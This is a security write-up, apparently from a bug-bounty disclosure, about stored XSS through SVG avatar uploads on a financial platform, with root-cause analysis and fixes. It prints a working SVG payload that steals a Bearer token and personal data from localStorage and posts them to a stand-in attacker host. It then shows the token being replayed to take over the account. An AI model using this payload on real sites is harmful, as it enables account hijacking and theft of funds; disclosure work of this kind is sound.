Stored XSS via SVG Avatar Leading to Full Account Takeover
I was testing a financial platform that offered user profiles with customizable avatars. Users could upload a profile picture, and the platform supported SVG files alongside standard image formats. What seemed like a harmless feature turned into a full account takeover chain.
This writeup covers how I found the vulnerability, built the exploit, and what the root cause was.
Initial Recon
The platform had a standard profile page where users could upload an avatar. I created two accounts — Account A (attacker) and Account B (victim). The upload endpoint was:
POST /api/profile/avatar
Content-Type: multipart/form-data
file: <image>
Accepted file types included PNG, JPEG, GIF, and surprisingly, SVG. That immediately caught my attention.
The Upload Quirk
I crafted a simple SVG with embedded JavaScript and uploaded it:
POST /api/profile/avatar HTTP/1.1
Host: target.com
Authorization: Bearer <token_a>
------boundary
Content-Disposition: form-data; name="file"; filename="avatar.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg" width="124" height="124">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript"><![CDATA[
alert('xss triggered');
]]></script>
</svg>
The server responded with:
HTTP/1.1 500 Internal Server Error
Date: Wed, 02 Sep 2026 15:57:32 GMT
A 500 error — normally you'd assume the upload failed. But after the response, I checked whether the file was actually stored. The platform used a predictable naming scheme for avatars:
/img/avatars/{user_id}{unix_timestamp}.svg
I extracted the timestamp from the Date header and built the URL:
https://target.com/img/avatars/6a8ec5618a1cd3144b0b30411788384424.svg
Opening it in a browser fired the alert. The file was saved despite the 500 error — the server wrote the file to disk first, tried to process it, failed, but never rolled back the write.
Building the Exploit
With stored XSS confirmed, I needed to turn this into something useful. I checked what the frontend stored in the browser. Opening the developer tools revealed:
localStorage key: "Phoenix"
The value contained a JSON object with:
- A Bearer token used for API authentication
- The user's name, email, and Google ID
- Internal identifiers
Since the SVG would execute in the context of target.com, it had full access to localStorage. I wrote a payload that exfiltrated everything:
<svg xmlns="http://www.w3.org/2000/svg" width="124" height="124">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript"><![CDATA[
var raw = localStorage.getItem('Phoenix') || '';
var msg = 'TOKEN_EXFIL\n\nUser-Agent: ' + navigator.userAgent + '\nURL: ' + document.URL + '\n\n';
try {
var o = JSON.parse(raw);
var token = (o.user && o.user.token) || raw;
var u = o.user && o.user.user;
msg += 'TOKEN: ' + token + '\n';
if (u) {
msg += 'ID: ' + (u._id || '') + '\n';
msg += 'Name: ' + (u.name || '') + '\n';
msg += 'Email: ' + (u.email || '') + '\n';
msg += 'Google_ID: ' + (u.google_id || '') + '\n';
}
} catch(e) { msg += 'PARSE_ERR: ' + e + '\n' + raw; }
var r = new XMLHttpRequest();
r.open('POST', 'https://attacker-listener.com/exfil', true);
r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
r.send('data=' + encodeURIComponent(msg));
]]></script>
</svg>
I uploaded this SVG, got the URL, and sent it to Account B.
Exfiltration Result
When Account B opened the link, my listener received:
TOKEN: eyJhbGciOiJIUzI1NiIs...
ID: 67b3f8a2e4d01c5a9f0b8821
Name: Victim User
Email: victim@example.com
Google_ID: 1234567890
Full Takeover
With the Bearer token, I could authenticate as Account B from any device:
GET /api/profile/settings HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
The response returned the victim's full profile, deposit history, withdrawal addresses, and 2FA settings. The token did not expire or rotate, so I could:
- View the account balance and transaction history
- Change the registered email address
- Disable 2FA
- Withdraw funds
- Lock the original owner out
Impact Summary
| Issue | Impact |
|---|---|
| SVG upload without sanitization | Arbitrary JavaScript execution |
| 500 error does not roll back write | File persists despite error |
| Predictable file names | Anyone can locate stored files |
| Token in localStorage | Same-origin XSS = instant hijack |
| Non-expiring Bearer token | Persistent access without rotation |
Root Cause Analysis
Four independent failures combined to make this critical:
-
SVG was whitelisted — The platform accepted SVG as a valid image type without sanitizing the content or stripping script tags.
-
Write-before-validate — The file was written to disk before validation. When validation failed (hence the 500), the file was never cleaned up.
-
Predictable URLs — The file naming scheme used
{user_id}{timestamp}. The timestamp was directly readable from the HTTP responseDateheader, making the URL trivially guessable. -
Token storage — The Bearer token lived in
localStorage["Phoenix"]. Any same-origin XSS could read it directly withlocalStorage.getItem("Phoenix").
Remediation
The fix required addressing all four layers:
-
Remove SVG from accepted types — Or rasterize the SVG server-side and serve only the PNG/JPEG result.
-
Validate before write — Check file content before writing to disk. If validation fails, return 4xx immediately and never persist the file.
-
Random file names — Use
bin2hex(random_bytes(16))instead of predictable user IDs and timestamps. Serve uploads withX-Content-Type-Options: nosniffand a non-executable Content-Type. -
Token hardening — Move the Bearer token from
localStorageto an HttpOnly, Secure, SameSite cookie. This makes it inaccessible to JavaScript entirely.
Key Takeaways
- Never trust file extensions — An SVG is not an image; it's an XML document that can execute scripts. Treat it as such.
- Atomic operations — If write-and-validate is the pattern, a failure in validation must roll back the write. Never leave partial state.
- Predictable URIs + stored content = disaster — If you combine guessable URLs with user-controlled content, you've built a stored XSS vector even without direct access controls.
- localStorage is not for secrets — Any XSS, even reflected or DOM-based, instantly leaks everything in localStorage. Use HttpOnly cookies.
This writeup was published with permission after the fix was confirmed.